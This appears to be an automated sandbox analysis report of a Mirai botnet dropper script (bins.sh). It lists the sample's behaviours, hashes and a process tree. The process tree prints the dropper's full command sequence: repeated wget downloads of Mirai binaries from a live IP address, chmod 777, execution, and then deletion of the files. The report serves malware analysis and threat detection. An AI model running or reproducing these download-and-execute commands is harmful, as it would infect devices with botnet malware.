Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20250619-en
  • resource tags

    arch:armhfimage:debian9-armhf-20250619-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/11/2025, 04:35

General

  • Target
    bins.sh
  • Size 910B
  • Sample251105-e7wxrsslhk
  • SHA256 dd47b5f7dda2ade9c11ef05158d62d5d5f63bc909cfce42a03008f7e1b1928ff
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (4002) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 23 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 5 IoCs
  • Executes dropped EXE 23 IoCs
  • Modifies Watchdog functionality 1 TTPs 10 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates active TCP sockets 1 TTPs 5 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 5 IoCs
  • Reads system network configuration 1 TTPs 5 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:641
    • /usr/bin/wget
      wget http://45.133.119.221:80/bins/mirai.arm5n -O dvrHelper
      2⤵
      • Writes file to tmp directory
      PID:643
    • /bin/chmod
      chmod 777 dvrHelper
      2⤵
      • File and Directory Permissions Modification
      PID:669
    • /tmp/dvrHelper
      ./dvrHelper
      2⤵
        PID:671
      • /usr/bin/wget
        wget http://45.133.119.221:80/bins/mirai.armv7a -O dvrHelper
        2⤵
        • Writes file to tmp directory
        PID:672
      • /bin/chmod
        chmod 777 dvrHelper
        2⤵
        • File and Directory Permissions Modification
        PID:673
      • /tmp/dvrHelper
        ./dvrHelper
        2⤵
        • Deletes itself
        • Modifies Watchdog functionality
        • Enumerates active TCP sockets
        • Changes its process name
        • Reads system network configuration
        PID:674
      • /usr/bin/wget
        wget http://45.133.119.221:80/bins/mirai.m68k -O dvrHelper
        2⤵
        • Writes file to tmp directory
        PID:676
      • /bin/chmod
        chmod 777 dvrHelper
        2⤵
        • File and Directory Permissions Modification
        PID:689
      • /tmp/dvrHelper
        ./dvrHelper
        2⤵
          PID:691
        • /usr/bin/wget
          wget http://45.133.119.221:80/bins/mirai.mpsl -O dvrHelper
          2⤵
          • Writes file to tmp directory
          PID:694
        • /bin/chmod
          chmod 777 dvrHelper
          2⤵
          • File and Directory Permissions Modification
          PID:714
        • /tmp/dvrHelper
          ./dvrHelper
          2⤵
            PID:716
          • /usr/bin/wget
            wget http://45.133.119.221:80/bins/mirai.sh4 -O dvrHelper
            2⤵
            • Writes file to tmp directory
            PID:718
          • /bin/chmod
            chmod 777 dvrHelper
            2⤵
            • File and Directory Permissions Modification
            PID:732
          • /tmp/dvrHelper
            ./dvrHelper
            2⤵
              PID:733
            • /usr/bin/wget
              wget http://45.133.119.221:80/bins/mirai.x86 -O dvrHelper
              2⤵
              • Writes file to tmp directory
              PID:735
            • /bin/chmod
              chmod 777 dvrHelper
              2⤵
              • File and Directory Permissions Modification
              PID:736
            • /tmp/dvrHelper
              ./dvrHelper
              2⤵
                PID:737
              • /usr/bin/wget
                wget http://45.133.119.221:80/bins/miraint.arm5n -O dvrHelper
                2⤵
                • Writes file to tmp directory
                PID:739
              • /bin/chmod
                chmod 777 dvrHelper
                2⤵
                • File and Directory Permissions Modification
                PID:749
              • /tmp/dvrHelper
                ./dvrHelper
                2⤵
                  PID:751
                • /usr/bin/wget
                  wget http://45.133.119.221:80/bins/miraint.armv7a -O dvrHelper
                  2⤵
                  • Writes file to tmp directory
                  PID:752
                • /bin/chmod
                  chmod 777 dvrHelper
                  2⤵
                  • File and Directory Permissions Modification
                  PID:773
                • /tmp/dvrHelper
                  ./dvrHelper
                  2⤵
                  • Deletes itself
                  • Modifies Watchdog functionality
                  • Enumerates active TCP sockets
                  • Changes its process name
                  • Reads system network configuration
                  • Reads runtime system information
                  PID:774
                • /usr/bin/wget
                  wget http://45.133.119.221:80/bins/miraint.mips -O dvrHelper
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:777
                • /bin/chmod
                  chmod 777 dvrHelper
                  2⤵
                  • File and Directory Permissions Modification
                  PID:779
                • /tmp/dvrHelper
                  ./dvrHelper
                  2⤵
                    PID:780
                  • /usr/bin/wget
                    wget http://45.133.119.221:80/bins/miraint.ppc -O dvrHelper
                    2⤵
                    • Writes file to tmp directory
                    PID:782
                  • /bin/chmod
                    chmod 777 dvrHelper
                    2⤵
                    • File and Directory Permissions Modification
                    PID:783
                  • /tmp/dvrHelper
                    ./dvrHelper
                    2⤵
                      PID:784
                    • /usr/bin/wget
                      wget http://45.133.119.221:80/bins/miraint.spc -O dvrHelper
                      2⤵
                      • Writes file to tmp directory
                      PID:786
                    • /bin/chmod
                      chmod 777 dvrHelper
                      2⤵
                      • File and Directory Permissions Modification
                      PID:787
                    • /tmp/dvrHelper
                      ./dvrHelper
                      2⤵
                        PID:788
                      • /usr/bin/wget
                        wget http://45.133.119.221:80/bins/mirai.arm -O dvrHelper
                        2⤵
                        • Writes file to tmp directory
                        PID:790
                      • /bin/chmod
                        chmod 777 dvrHelper
                        2⤵
                        • File and Directory Permissions Modification
                        PID:791
                      • /tmp/dvrHelper
                        ./dvrHelper
                        2⤵
                        • Deletes itself
                        • Modifies Watchdog functionality
                        • Enumerates active TCP sockets
                        • Changes its process name
                        • Reads system network configuration
                        • Reads runtime system information
                        PID:792
                      • /usr/bin/wget
                        wget http://45.133.119.221:80/bins/mirai.arm7 -O dvrHelper
                        2⤵
                        • Writes file to tmp directory
                        PID:796
                      • /bin/chmod
                        chmod 777 dvrHelper
                        2⤵
                        • File and Directory Permissions Modification
                        PID:800
                      • /tmp/dvrHelper
                        ./dvrHelper
                        2⤵
                          PID:801
                        • /usr/bin/wget
                          wget http://45.133.119.221:80/bins/mirai.gnueabihf -O dvrHelper
                          2⤵
                          • Writes file to tmp directory
                          PID:803
                        • /bin/chmod
                          chmod 777 dvrHelper
                          2⤵
                          • File and Directory Permissions Modification
                          PID:807
                        • /tmp/dvrHelper
                          ./dvrHelper
                          2⤵
                          • Deletes itself
                          • Modifies Watchdog functionality
                          • Enumerates active TCP sockets
                          • Changes its process name
                          • Reads system network configuration
                          • Reads runtime system information
                          PID:808
                        • /usr/bin/wget
                          wget http://45.133.119.221:80/bins/mirai.mips -O dvrHelper
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:817
                        • /bin/chmod
                          chmod 777 dvrHelper
                          2⤵
                          • File and Directory Permissions Modification
                          PID:821
                        • /tmp/dvrHelper
                          ./dvrHelper
                          2⤵
                            PID:822
                          • /usr/bin/wget
                            wget http://45.133.119.221:80/bins/mirai.ppc -O dvrHelper
                            2⤵
                            • Writes file to tmp directory
                            PID:824
                          • /bin/chmod
                            chmod 777 dvrHelper
                            2⤵
                            • File and Directory Permissions Modification
                            PID:829
                          • /tmp/dvrHelper
                            ./dvrHelper
                            2⤵
                              PID:830
                            • /usr/bin/wget
                              wget http://45.133.119.221:80/bins/mirai.spc -O dvrHelper
                              2⤵
                              • Writes file to tmp directory
                              PID:832
                            • /bin/chmod
                              chmod 777 dvrHelper
                              2⤵
                              • File and Directory Permissions Modification
                              PID:833
                            • /tmp/dvrHelper
                              ./dvrHelper
                              2⤵
                                PID:834
                              • /usr/bin/wget
                                wget http://45.133.119.221:80/bins/miraint.arm -O dvrHelper
                                2⤵
                                • Writes file to tmp directory
                                PID:836
                              • /bin/chmod
                                chmod 777 dvrHelper
                                2⤵
                                • File and Directory Permissions Modification
                                PID:837
                              • /tmp/dvrHelper
                                ./dvrHelper
                                2⤵
                                • Deletes itself
                                • Modifies Watchdog functionality
                                • Enumerates active TCP sockets
                                • Changes its process name
                                • Reads system network configuration
                                • Reads runtime system information
                                PID:838
                              • /usr/bin/wget
                                wget http://45.133.119.221:80/bins/miraint.arm7 -O dvrHelper
                                2⤵
                                • Writes file to tmp directory
                                PID:843
                              • /bin/chmod
                                chmod 777 dvrHelper
                                2⤵
                                • File and Directory Permissions Modification
                                PID:845
                              • /tmp/dvrHelper
                                ./dvrHelper
                                2⤵
                                  PID:846
                                • /usr/bin/wget
                                  wget http://45.133.119.221:80/bins/miraint.m68k -O dvrHelper
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:847
                                • /bin/chmod
                                  chmod 777 dvrHelper
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:848
                                • /tmp/dvrHelper
                                  ./dvrHelper
                                  2⤵
                                    PID:849
                                  • /usr/bin/wget
                                    wget http://45.133.119.221:80/bins/miraint.mpsl -O dvrHelper
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:851
                                  • /bin/chmod
                                    chmod 777 dvrHelper
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:852
                                  • /tmp/dvrHelper
                                    ./dvrHelper
                                    2⤵
                                      PID:853
                                    • /usr/bin/wget
                                      wget http://45.133.119.221:80/bins/miraint.sh4 -O dvrHelper
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:855
                                    • /bin/chmod
                                      chmod 777 dvrHelper
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:856
                                    • /tmp/dvrHelper
                                      ./dvrHelper
                                      2⤵
                                        PID:857
                                      • /usr/bin/wget
                                        wget http://45.133.119.221:80/bins/miraint.x86 -O dvrHelper
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:859
                                      • /bin/chmod
                                        chmod 777 dvrHelper
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:860
                                      • /tmp/dvrHelper
                                        ./dvrHelper
                                        2⤵
                                          PID:861
                                        • /bin/rm
                                          rm ./bins.sh
                                          2⤵
                                            PID:863
                                          • /bin/rm
                                            rm ./dvrHelper
                                            2⤵
                                              PID:864

                                          Network

                                                MITRE ATT&CK Enterprise v16

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                dvrHelper

                                                • Path /tmp/dvrHelper
                                                • Size 52KB
                                                • SHA256 be5cdd7fa8e206af1675707eb9ca01385a883c969017db9f9fa36b3ec0f90b7b
                                                • MD5 SHA1 SHA512 SSDEEP

                                                dvrHelper

                                                • Path /tmp/dvrHelper
                                                • Size 389KB
                                                • SHA256 1e4a4619afecc3f53f118f7cd0fbf07038563dfa879eeb0335ac84f980c08a5a
                                                • MD5 SHA1 SHA512 SSDEEP

                                                dvrHelper

                                                • Path /tmp/dvrHelper
                                                • Size 58KB
                                                • SHA256 11a9bb6be3b240551ac877e8295bd8e2d037e24037c652026b180095a874c014
                                                • MD5 SHA1 SHA512 SSDEEP

                                                dvrHelper

                                                • Path /tmp/dvrHelper
                                                • Size 78KB
                                                • SHA256 4f3de52ed263ee374741fc38bb64cc08c7bba38e59333c251eebc5b691c6255c
                                                • MD5 SHA1 SHA512 SSDEEP

                                                dvrHelper

                                                • Path /tmp/dvrHelper
                                                • Size 53KB
                                                • SHA256 e632c1dee6c9f187f36e633ac3db7a0f3db30a936129c04ebaa7e5b074631b51
                                                • MD5 SHA1 SHA512 SSDEEP

                                                dvrHelper

                                                • Path /tmp/dvrHelper
                                                • Size 389KB
                                                • SHA256 0afd92a80f897f53fac6413dbeebbc800844e34c8fbbd7c335deb8ca4758fa6e
                                                • MD5 SHA1 SHA512 SSDEEP